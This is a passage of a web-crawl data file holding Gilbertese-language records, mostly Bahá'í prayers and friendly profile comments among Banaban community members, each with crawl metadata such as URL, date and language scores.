karawa.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401010","date":"2019-12-16T03:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541315293.87\/warc\/CC-MAIN-20191216013805-20191216041805-00059.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":97,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nI aon te kai ae e raneanea n te mimitong I a tia ni katinei i bukin uaa ni kai ake a bane rinoaia, ao e aera ngke ko a tannako mai iai ao ko a katabeko ma ake a aki bati n raraoi? Ooki rikaaki ngkanne nakon are e tamaroa riki i bukim i nanon te abanuea are i eta.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401220","date":"2019-12-10T20:27:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540528490.48\/warc\/CC-MAIN-20191210180555-20191210204555-00332.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Currently, I am staying at my wife's place. I Tarawa at Ambo village. We are still working on our new building and hoping to complete it by next month. Yeah... its fantastic to leave like this in this sandy land of our ancestors.\nmauri.....e raba ti bon aintoa naba mai ikai anang buburakaei ara matireti LOL....ao antai ae moanna te takakaro. Ngaira ti nang nako n tui taian bookshop to see if we can get Dad's book otherwise Roy will buy from the internet. Ebon nako naba te kakatauraoi nakon te kiribati independence which is next saturday and te maitoro ae tamatamarake naba akaan ao a ice rabatara hahaha....te temperature ngkai bon 10 ea bon aki manikangare te maitoro aio this the time we wish we there. Tao tingaia anne rongorongon ara tabo aio ma tau koa kamauria kain te auti ke! ae tinang nako moa........tia boo boo moa\nmauri peto!! kouara moa ngkai.!? hope ko bon naing marurung nai arounaba ikai..\nbon te akea te news mai ikai ba bon ti te makuri te amamarake ao aii tetabebiti aei wannnai..ahahahha ngaia tarai ngkami irou ngkanna i roko.lolahahhha e tau ma koaangaania naba kaain am auc ao kamauri ao esp kaain teonikao...tia boo n reken tetaai..\nMauri, ko mena ia? karekea am tai ao ko raun nakomai..ngai ngkai ae ia maternity leave ao i bon aki botu ba raou nei tia unaine..Tabuti ma a tiba nako naba nako Toorak nakoia ana koraki nei uaine ma ena manga oki...tao ana nako rabi nx wk.\nE tau tia manga bon ongora mai iroum, tia boo moa\nhey bula moa peaipeta e raba te news mai ikanne ao shshs ia nang miss au families ikanne ao riki kain stream valley nio kabane ma auara kain au auti a marurung ker\nby the way shshs te news ikai nakon november 28 ao enang boo te kabo n te batere te maie n kiribati ao gaia gaira naba te BANABAN DANCING GROUP mai ikai tina iri naba n te kabo anne e na karaoaki i betio complex ma te kananokawaki ba bo ti tabeman kaina ba are a iein agiina kain te BANABAN ma tao ti gaira teniman ngkai aine ao mane tao aman ma eaoria ba tao katauana ker\nhey ma ngkana iai riki ao ia maga reitia ker ma koa maga reitia nkgoe mai ikanne ker pliz ok take care tiabo moa\nHey, mauri naba ko raba kai te marurung tau naba ma ikai ao ngkami kam uara kambon marurung naba kee..? eng kanga bon akea ma ikai ma ti te kakamauri nakoia am kaoraki ikanne ao ai te katekeraoi nakoimi ni bane n ami waaki nako ake kam iangoi. E tau ti a manga bobo ni maawan am tai.\nShsh ai rabara naba te birthday wish...ngai akea te bai ae karaoia ba bon Roy ae karaoia te kuka and all....e roko maruruninga yesterday and wish he could continue like that hahahahaha. Te rongorongo mai ikai....on Saturday we had our 15th celebration down at the Gold coast....uara moa anne atia tabera ibukin abara ao ngkami???? the reason we had last saturday was that everyone will be busy in Dec with Christmas parties, kids breakup party & etc and since we are free this month we all agreed to have last sat. It was a good day\/lots to eat\/men grogging\/Kiritama's daughters danced....not bad for our first 15th do and we are hoping we'll have a bigger & more organised one next year.\nTao tingaia moa anne te news mai ikai ao koa reitaia ngkana iai mai ikanne. Tekamauri nakom ma kain te auti ao kain naba am kabeku anne.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=26s3nt7bxxnb6","date":"2019-12-09T18:21:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540521378.25\/warc\/CC-MAIN-20191209173528-20191209201528-00482.warc.gz","language":"gil","language_score":0.9980002642,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9980002641677856}","num_words":601,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nao, koa tia n ataia ae na nakoati ma te manna au irua nte 4th June, next week? Tia kaitibo n ana auti Nawaia friday nite bwa tina matu irouna that nite and maybe look for other accomodations from there.\nWe will be in Fiji for 2weeks but will visit Rabi too.\nMauri Aren!\nKou ara moa ma am koraki ikanne....ngaira bon te kekeiaki naba iroura nte makuri. Enang bati te stress ikai moa ngkai ntain te recession aio...ma irarikin anne ti bon marurung. Te kamauri nakoim ma am utu mai iroura ikai i kangaroo point.\nTia manga boboo riki riwi.....tia boo moa\nMauri Aren\nGood to see so many of your nice family photos going up on the site here. I was going through my Banban archive files the other day and found a copy of that wonderful Banaban Song book that you downloaded to my computer when you where here. Have you had it published yet, and if not any ideas when?\nIt is so comprehensive that I'm sure it will be a wonderful asset for future Banaban generations.\nHey bro, ea tau te kamanga ke? Akea ae bon tamneim? Eaera ngkai koa manga kanima tamnein, antai ngkoa? he! he! only kidding. Ia tia ngke n tuanga raou aei bwa ngkana ena kawakina tamneim aei ao ena maatu iaon te couch ao ngaia ai bon te ngare irouna. Ao ngke e raoiroi bwa ea rabakau te katei ni iriki (Banaban way). Anga ara kamauri nakon Laisa ao ataei not forgetting Aleni the man. Catch you later.\nKaekan am mail ,...bon mai Whangarei,NZ... Ko rang aitau ibukin am taeka ni katekeraoi inanon te waaki inanon te makuri, E raba te Atua ibukin ana kakabaia inanon maiu maa au utuu,\nAo ngkoe, kona boni kakabaia naba maa aam utuu inanon te ririki aio!\nKouara? Iai au article ane nte blog ae i karina imwin ami kanako bwanaa ngke bong. Bon ti Katereterean riki au kakarabakau ma ngkami iaan te koaua are our time is very limited. Tao iai ake aongo bwanaau ma aki bati n ota raoi nte bwai ae I taekina akona ngkane ni manga warekia raoi from the blog. I hope it' ok with you. cheers and happy days.\nMauri Ka Ka Aren, good to see you joined our Club of the tibum, but just to warn you, you still have a long way to catch up with us. Last count Ken and I were up to No: 14 including Luisa's 2. It's getting harder each year to keep count of them all as the numbers go up. I still have Aidan (just engaged) and Bryn (forever single I hope) to do their duty.\nYour Ozzie sister in law\nStacey\nHappy New Year bro when u free cum n moi nangkona n ana kava ribua i valelevu ti 2 am besin ao koa rauaki naba e nang matoatoa te kava aio bon mai Rabi Island iai naba te vidividi guitar n ukelele ibukin karinan nimam ko ti kaboo am grog $5 a pckt ao e losenaki for u iai naba te fan ae konaa ni kamaitoroko tao ti ngaia anne moa au news nakoim inanon te ririki ae boou aei\nGod bless","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=3fg19ojo2n7fo","date":"2019-12-14T18:50:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541288287.53\/warc\/CC-MAIN-20191214174719-20191214202719-00289.warc.gz","language":"gil","language_score":0.9940612912,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.994061291217804}","num_words":530,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AIKA KAM WENE N ARON TE MATE I AON KAINIWENEN TE AKI TATABEAKIN!\nA waaki nako rooro ao maiumi aika a kakaawaki a roko n tokiia, ma bon akea teuana te ikeike ae kororaoi are e a tia n roota Ana bootaki ae tabu mairoumi. E ngae ngke kam tebo ni marawan te aki onimaki, e ngae ngke ma riami kam kakoaua te Aro teuana ae Ana Aro Te Atua. Teuare ngaia are I ribaia kam a tia n tangiria, ao Au kairiribai bwa raraomi, kam nakonako i aon Au aonaaba n aki nanamakin ao n rauaki n aki tatabeakin n te aro are Au aonaaba e a kua iroumi ao bwaai ni kabane ake i nanona a tangiri mwaawami. Bwa ngke arona bwa kam kauki matami, n te koaua kam na bon, tangiri rawawata aika a mwaiti aekaia n te kimwareirei aei, ao ni wareka te mate bwa e raoiroi riki nakon te maiu aei.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403210","date":"2019-12-16T03:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541315293.87\/warc\/CC-MAIN-20191216013805-20191216041805-00523.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":158,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aikai boong, Atuau, are Ko a tia ni katauia Am toro bwa a na taua bukin te akimamatam. Are iai are Ko katamaroa iai moan abokan Am Boki n Tua ake a karuoaki i bukiia Am karikibwai, ao ni kaota tamaroan Umwan Am kaetieti nako i mataia ni kabane ake n Am karawa ao ni kabane aika i aon te aonaaba. Ko a tia ni kataua auan nako boong aikai ma te anua ae e okoro, are e aki kona ni warekaki irouia ni kabane ma ti Iroum, are Rabakauna e rabwati karikibwai ni kabane. Ko a bon tia, naba, ni kataua mwakoron te anua aei n aron taekan Taburetin Am kaetieti ma Am koroboki are Ko a tia iai, n aron anne, n reke tibwaia iai n tatabemaniia aomatan nako ma utuun nako te aonaaba.\nI bukiia taan tangira aika a babane nanoia Ko a bon tia, n taekin Am kaetieti, ni kaawakinna i bukiia, ni katoaa te karangaina, ma mwangkon Uringam, O Ngkoe te Tia Tautaekaniia taan tautaeka! Bon naakai ake a tia ni manging ni wainin Niniwanam aika a bati ngaia are a kaaki aia tabo ni wene i bukin nanoia ni kan karaoa Neboam ao ni kaotiotii Anuam nako, ao ni mwaawa man matuuia ni korakoran nanoia ni kan waaki nakon Kaaniam ao ni uataboa Am kakabwaia. N taai nako a bon tia ni kabaraakii mataia nakon Rikiraken Bongin Am tangira n aakoi, ao ni katokai moaia nako Taberan Koburaken ranin Am Nanoanga are e tau n Am kakabwaia ni karawa ao te raoiroi.\nE na kamoamoaaki Aram, Atuau! Bon aio te aua are Ko a tia iai ni kauki iai rokan mataroan nako Am kakabwaia nako moaia Am karikibwai nako, ao ni kauki mataroan Am nanoanga aika a tamaroa nakoia ni kabane ake a maeka n Am aonaaba. I bubuti Nakoim, irouia ake a tia ni kabwaroi raraia i nanon Kawaim, are, ma nanoia Nakoim, a kamwawaiia man kabaebae nako mairouia ake Am karikibwai, ao are a tia n rangi ni matenako n karewen Am kakaunga bwa bwain rabwataia nako a taekina Neboam ao n atoatonga Ururingam, ao n aki taua mairoura bwaai ake Ko a tia ni kataua n tain te Kaotioti aei - te Kaotioti are iai te korakora are e a tia ni kariki taian kai bwa a na atonga are e a tia ni karaoia te Kai are Ura n te tai are e a tia n nako ni kaotioti iai Moote, are E taetae ma Ngkoe, n te Kaotioti are a tia ni katauia ni kabane ni katoai atama aika a mronron nako bwa a na manga atonga riki Neboam, n aroia atiibu ake a Kamimitongko n Ana bong Mwaometa, are Raraom.\nBon naakai, Atuau, ake Ko a tia ma te tamaroa ni karikiia n itamwaomwao ao n itoman ma Teuare boni Ngaia te Tia Kaotiko. Angin nako Nanom a tia ni maenikun n taorababa nako ni karokoa Ko na manga ikotiia i aan Nuum, ao ni karikiia n rin n aban nako Am botaki. Ao ngkai Ko a tia ni karikiia n tiku ni maeka i aan nuun umwan Am nanoanga, Ko na buokiia bwa a na karekea are e bon tau i bukiia ma te karinan ae rine. Tai kakorakaiia, Atuau, bwa a na warekaki i buakoia naake, e ngae ngke a kukurei ni kaan ma Ngkoe, ma a tia n tauaki man kinaakin Moam, ao e ngae ngke a bobo ma Ngkoe, ma a bon kamwawaaki man Kaaniam.\nNaakai bon Am taan beku, Atuau, ake a tia n rin ma Ngkoe n te Karabuuti ae Moan te Kakannato aei, are a tia n taua ni kamatoa i nanon oona are Ko a tia n tuangiia n Taburetin Am kaetieti ao Bokin nako Am babaaire. Ngaia are, karuoa ngkanne, nako aoia are e na karaua raoi ni kaitiakiia man baike Ko aki kataui, bwa a aonga ni baabanennano Iroum, ao ni kona ni kamwawaiia man bwaai nako ma ti Ngkoe.\nKabwaka ni karau ngkanne i aora, Atuau, are e bootau ni koaua ma Am raoiroi ao ni bootau ma Am kakabwaia. Karikiira, ngkanne, Atuau, bwa ti na maiu n Ururingko ao ni mate i bukin Am tangira, ao kakarekea nakoira te bwaintangira are Kaaniam n am aonaaba nako aika i mwiin ngkai—aonaaba ake a aki kona n ataaki ma ti Iroum. Boni Ngkoe ara Uea ao te Uea n aonaaba nako, ao Atuaia ni kabane ake i karawa ao aika i aon te aonaaba\nKo bon noora, Atuau, are a tia ni bwaka iai ake a tangiraki Iroum n Am bong nako. Mimitongim are I kakoaua iai! Bwanaaia ni bwaebwaeti naake a tangiraki Iroum e a bon tia ni mwemwe rake nakon Ueam. Tabeman ake a irarang irouia naake a nanoro i nanon Baim, ao a bon tuukiia i bon irouia n roko ni kaan Nakoim ao man karekean botakin Mimitongim. Ake tabeman ake a kona ni waaki Nakoim, ma a tauaki man nooran Moam. Iai riki ake tabeman ake a katauaki, n ingaingaia ni kan taraa Moam, n rin n aban nako Am botaki, ma a bon kataui taian rabunanimata are bon katautauaiia iai Am karikibwai ao kaairua ake a reke mairouia taan kamangao i buakoia Am aomata bwa a na roko i marenaia ma Ngkoe.\nBon aio te aua, Au Uea, are ko a tia ni karikia bwa e na raka i aon aua nako, ao n tia ni kaitomanna bwa ngaia are e rineaki i buakoia Am karikibwai. I bubuti Nakoim, Ngkoe Atuau, i bon Iroum ao irouia, ni kataua waakin te ririki aei bwa e na karietaiia ake Ko tangiriia. Ko na baaireia, ngkanne, i nanon te ririki aei ni kataua n, Itoin Ngainan Mimitongim, ao ni kaoota, ni Mwaakam ni uea, n te aonaaba ae bwanin.\nKarika Am Waaki bwa e na totokanikai, au Uea, ao kamangoriia Am kairiribai. Koroia, ngkanne, i bukira are e raoiroi n te maiu aei ao te maiu ae e na roko. Boni Ngkoe te Koaua, are Ko atai bwaai aika a raba. Bon akea riki Te Atua bwa ti Ngkoe, te Tia Kakabwarai buure, te Kabanea ni Kakabwaia.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=120303030&to=gil","date":"2019-12-13T14:21:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540555616.2\/warc\/CC-MAIN-20191213122716-20191213150716-00479.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1020,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(Te tataro aio ae e kaotaki iroun 'Abdu'l-Bahá e wawarekaki ni Bangotana. E kona ni kabonganaaki naba n te tataro iroun te aomata i bon irouna).\nAne atonga te tataro aio ma te nanorinano ao Te Bábanennano e na uota te kukurei ao te rauaki nakon nanon te Tia Beku aio; e na riki n ai aron te kaitibo ma Ngaia, te mata nakon te mata.\nBoni Ngaia te Mimitong ni kabane.\nTe Atua ae Atuau! Ma te nanorinano ao te matan-tang, I tabeki baiu ni bubuti Nakoim ao I rabuna moau ni bubuntanon matan Am mataroa arei, ni karietataaki nakon rabakauia naake a atai-bwai, ao iaon naba neboaia ni kabane ake a Neboiko. Ma Am taratara ae e raoiroi, an taraa ma kaninganingan matan Am nanoanga Am tia beku aio, ae nanorinano ma ni mangori i matan Am mataroa, ao katebonakoa inanon Marawan Am raoiroi ae e aki totoki.\nTe Uea! Boni ngaia Am toro ae akea arona, ae e mangori, ae e mamatenanona Iroum, ae e Bububutiko, ae e tauaki inanon Baim, ae e Onimakiniko, ae e tang i Moam, ae e Weweteiko ma ni Bubutiko ma ni kangai:\nO te Uea, ae Atuau! Anganai Am raoiroi bwa Nna beku ibukiia naake a tangiraki Iroum, kamatoai n au beku Ibukim, kaota ramau ma te ota n taromauri inanon Am kabowi ae e tabu ma te tataro nakon Abanueam ae mimitong. Buokai bwa Nna kaakeai i karawan tabon-rinin Am mataroa, ao buokai bwa Nna mwaawa man bwaai nako ake a mena inanon ike iai Ngkoe. Te Uea! Anganai bwa Nna moi man mangkon te aki-tabeakinai i bon irou; kaunikaai ma kunikaina, ao kateboai inanon marawana. Karikai bwa te bubu-n-tano are e mena inanon kawaiia naake a tangiraki Iroum, ao kariaia bwa Nna anga tamneiu ibukin aon tanon are e a tia ni kateretereaki man tarinwaeia naake a tia n rineaki Iroum inanon kawaim, O Ngkoe Uean te Mimitong ae te katoki n Rietata.\nE Weweteiko Am toro n te tataro aio, n te aiota ao te tairiki. Kakoroa bukin nanona, O te Uea! Kaotaa nanona, kakukurei bwabwana, kauraa otana, bwa e aonga ni beku ibukin A Waaki ma Am tabonibai.\nBoni Ngkoe te Tia Angaanga, te Tangiri matanaomata, te Katoki n Akoi, te Raoiroi, te Nanoanga, te Atataiaomata.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bahaiprayers.io\/prayer?id=130306020&to=gil","date":"2020-01-22T15:26:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250607118.51\/warc\/CC-MAIN-20200122131612-20200122160612-00002.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":379,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na neboaki, te Uea ae Atuau. I bubutii Nakoim ma te nanorinano n te Kaotioti aei are e bitaki iai te ro nakon te oota are e kateaki iai te Tembora ma n ataaki iai Koroboki aika a Tabu ma n taorababaa iai Taekam, bwa e na reke irou ao irouia aika a raoiroi, te aro ae ti na konaa n rierakea iai karawa nakon Mimitongim are akea tiana ao are e na kamaunai ara nanokokoraki are e tauiira man namakinan rinra ni mwaneaban te ikotaki.\nBon ngai temanna, au Uea, are e a tia n taua roon Am aakoi, ma ni kanim baina nakon Am nanoanga ma Am tangira. Ko na anganai ma raou aika a tangira raoiroin te maiu aei ao are e na roko. Anganiia Am bwaintangira ae e raba are Ko kataua i bukiia aika a moa riki mai buakoia Am karikibwai.\nBon aikai, au Uea, boong ake Ko tuangiia iai Am toro bwa a na taua iai te Aki Mamatam. E na karaoiroaki are e taua raoi te aki mamatam ma te koaua, ma n taubaang man bwaai nako i Bukim. Buokai ao buokiia, au Uea, bwa a na ongo Iroum ma n taua Am tua, bwa Ko bon mwaaka ni karaoa oin Nanom.\nAkea Te Atua bwa ti Ngkoe, te Ataibwai, ao te Wanawana. E na neboaki Te Atua, te Uea n aonaaba ni kabanea.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bahaiprayers.io\/prayer?id=302040&to=gil","date":"2020-01-21T00:58:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601040.47\/warc\/CC-MAIN-20200120224950-20200121013950-00432.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":232,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko mauri, eu ara am solimaka nakoia tarin Ata, e tau moa te mamau...lol...lol...Hey drop me a line to update on the happenings, you can catch me on firstname.lastname@example.org or email@example.com....Keep me posted and keep in touch, oh nearly forgot kiss your hubby and of course my hubby too for me....lol!lol!....\nBula,\nHey! Long time no talanoa.....wats wrong have u lost all ur contacts...this time Im back to my teaching job...and its fun to work with kids..cause they so full of fun, bullshit,excuses etc etc but they keep me on my toes...hwz it going for you??? hope u enjoyin it too. Too bad I dont hav my lap top with me cause I had to return it to the Project office when i left so now I'll only be available whenever I get the chance.\nTekeraoi and God Bless,\nLove from US\nhi aunty kam uara any ways koanga naba au kamauri nakoia natin aunty toka ao aunty marewe ao kotuangia that im much more prettier than them ahhaah just kidding e tau man nnang kangai ao ke e tekeraoi naba te waki....\nmuj love natim ae e botonnaine riki nakon toubwa ahahhah\ntake care\nMauri! E raba te rongorongo ao tia kaitibo n tain te botaki n utuu. Neiko, tuanga Teari ba iai ana reta ae came thru my mail last week man te Multi-Ethnic are e tuangaki ba e a toki ngkai ana scholarship this semester. Tuanga ba e na manga bon follow-up. Tia boo moa . E raba.\nmauri sis and good to hear from you again.we're in melbourne now and not liking the weather at all.it's winter time for us now and its freezing cold in the house unless the heaters on...too expensive.\nneiko so when are you going to be a granny coz my 4 year old asked me yesterday \"when can she get pregnant'..hahaha.i was shocked with her question and my older one too coz shes the quiet one between the two.i have to be really careful with her now..lol.\ni know poor uncle alec must have been bored when dad passed away coz they were very close.arvin(hubby) met uncle alec once at suva bus stop and he told us that he was going to meet rabuka(prime minister) for a meeting...hahaha..too much maiana.my husband was impressed but i told him to relax coz he's just like dad..lol.they were just funny characters and greatly missed by families.\nneiko i've heard from alice,nei mone but not nei marewe.\ngive my mwa mwa to ata and tell him to get himself ready for my trip next year..lol.\nregards to the family\nbye bye and keep in touch\ngoooooooood morning unty!!!!!!!!!!!!!!!!\nngai ngkai i reirei i LTC and am in labasa 4 da break\nam gonna go back nxt mnth\ne tikiraoi te reirei\nngkana e roko mum 2moro den i'l ask if she has a gmail add\na bane ni marurung kain te auti\nrgdz home...........\nhave a great day n wk!!!\ntiabooooo.............\nhelloooooooooooo aunty!!!\nko uara?\nngai i bon marurung ao ia mena ngkai i labasa 4 da semester break\nsory bon ngke are ko bon email last tym but u used someone's....dats y i was confused........\nnway m happy dat we cud kip in contact\nao kam uara moa? a uara ataei ao uncle?\npliz send them my rgds ke?\nwea r u tching now?\nok unty tiabo moa ikai n have a great week!!!\npliz do reply...\nneiko i'm really really sorry for not replying earlier coz i was confused with the name..lol.so stupid of me,i think i'm just used to taoniti.well i've got 2 girls,sandra 12 and shania 4. and we've been in australia for a year now.we miss NZ though coz its very peaceful and beautiful.\nso are you still in makoi with the family?it was sad to see uncle alec's funeral photos coz i didn't even know that he had passed away.i can still remember how he and dad would play jokes on each other and bullshit alot(maiana style).i'm sure they're both missed by family members.\nso how many kids do you have now?must be grown ups and looking cute like my honey atanimakin..hehe.\ntalk to you later and loloma to the family and kiss hubby for me.\nmary\nNeiko ko rangi ni bati n raba ba ngaia ia boni kinaia raoi kain am tamnei\nao ngaia bon iai naba tamneia natiu ibuakona ko rangi ni bati n raba ao\nare ieta ngkoe,te bai ae i kan ataia ba iaki kinaa te aine are e red ana top\nma ngaia ia boni ni kinaa raoi ae bon Nei Keke,ba bon ti ngaia ae e\ntuai n reke tamneina irou.bon te kaitau ma kain abam anne ngkai a\nbon aki tio nako natiu anne ba ngaia bon am koraki naba.\nNeiko ngaira ikai ti bon rangi ni marurung raoi ao i taku ba ai aromi naba,neiko ia bon kawea ba te kaoriori nakoim ma kain abam anne\nba kam a buoka moa natiu anne n ana kanganga ai moara riki te bai are\ne kainanoia ba ena bon kabara baena ngkana e reke arona.\nTai mamaninga taekara nte site aio ba kanga e bon rangi ni kakaongora\nriki ami tabo anne ba kanga kam mena nte town.\nKoa reitia mai ikanne. te kamauri ao te katekeraoi inanon te makuri\nNeiko kabara buren te aki kikina ba ena kanga ao ngkoe koa manga\naara ni imatang ao ngaia are tiaki kinaia iai,ma e boni ngae n anne ao bon\nte kamauri ae moan te takaburinako nakoim ma kain abam anne ao ai\nnatimi ni kabane,eng ngaira ti bon rangi ni bane ni marurung raoi ma ara\nataei ni kabane ngai ngkai ai aman natiu ma Taatu ba ara karimoa bon\nte aine aoai teniman mane,ara karimoa e bon reirei ikanne ao e form 5\ni Lelean ae Nei Rakera,i taku ba koa tia naba n ataia iroun Nei Teari ao\nai teniman mane aika a bon reirei naba ikai.\nNeiko i rangi ni kabara bure nakoim ngkai e bon roo au aonnaba tao\nibukina ngkai ea rangi ni maan te tai n raure nako.taiaoka ma koa\nkabarabara am tamnei aikai ba ti aonga n ataia. ai bon te kabara bure\nae bati ba ti tuai ni baati ni karina tamneira nte page aikai ma ngkana\niai am atatai iaon aio ao taiaoka buokira iai ba ti aonga ni manga\nkarinii tamneira ikai ba a bon rangi ni maiti ao anne te kanganga ba\ne tuai n reke angan karinakina nte page aio.\nNeiko bon akea rongorongon ara tabo aio ba bon arona naba te\nkakatauraoi nakon te reirei ao ni manga tara aron te mwenga ngai ngkai\ni bon teach te pre-school n ara kawa n reirei aio ngaia are e bon rangi ni kanganga te reitaki ba ena kanga ao are ko tauaki nte tai.\nNeiko tai maninga taekara ni maroro nte site aio ba ti bon rangi ni kan\nongongo raa te news mai ikanne ba kanga e rangi ni kamaiu te news\nmai ikanne.tao tia manga bon rereitaki nte site aio.\nMauri sorry fornot reconised you in your picture so please could help me\nintroduce yourself to me so that we know each other so could you please\ntell me who is your father and mother so that we know each of us.\nTe kabarabure neiko ba e bua au aonnaba ba ena kanga ao are ea bon rangin ni maan te tai n raure nako ao tiaki kinaira i bon iroura ma e\nbon ni ngae n anne ao taiaoka buokai ni kabarabara am tamnei ankoiu\nba i aonga n ataia ao ko tuangai ba antai tamam ao tinam ba nna bon\ntuangko e rangi ni maan te tai n raure nako.\nMauri naba. E toka teutana au kai bwa are I aki tii noora aram ma tamneim naba. Ngaia are e bon toki nanou bwa are I taraiko man taraiko man taraiko ni karokoa au tuangai kaain rarikiu aikai bwa ngaia ai teuana tabum au wiiki n stare at you. Ahahahaha. E uara moa tariu are e rangi ni kere kai anne ao ni kii n nangkona. Tuangnga bwa au moan task ngkana I roko ikanne ao Nna otea waena teuana bwa e aonga n aki kona ni kakioira ngkana I roko ikanne ni kairiko nakon te Rabi Kava.\nE rarabwa te reitaki. Still, I felt a sense of missing my de facto families there. I can sense that very soon we will meet again, and then we can reorganise our grog group again and start roaming.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1oq70tl4662s6","date":"2020-01-18T16:48:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250593295.11\/warc\/CC-MAIN-20200118164132-20200118192132-00154.warc.gz","language":"gil","language_score":0.9870502353,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9870502352714539}","num_words":1421,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AIKA TAAN RAWA!\nE a tia Au taotaonakinnano ni kakaungako riki ao maanin Au tai ni karawawataaki e a tia ni karikiko n aki tabe riki iai, n te aro are ko a tia ni kaunga riki kakorakoraan karawawata ni kawai aika a kanganga ake a kairiiri nakon te urubekebeke. Ko a tia n iaiangoia ae Ngai I aki tatabeakin ke I aki ataa taekana?","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bahaiprayers.io\/prayer?id=120503660&to=gil","date":"2020-01-28T01:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251737572.61\/warc\/CC-MAIN-20200127235617-20200128025617-00158.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea! Au Uea! Ngai te teei ae e karako au ririki. Kamarikeai man mmamman Am atataiaomata, kataneiaai i nanon bwanibwanin Am tangira, reireiai i nanon kuuran Am kairiiri ao karikirakeai i aan nuun Am tituaraoi. Kabwaraai man te roo, karikai bwa teuana te oota ae ura mwaaka; kainaomataai man te aki kukurei, karikai bwa ueen te 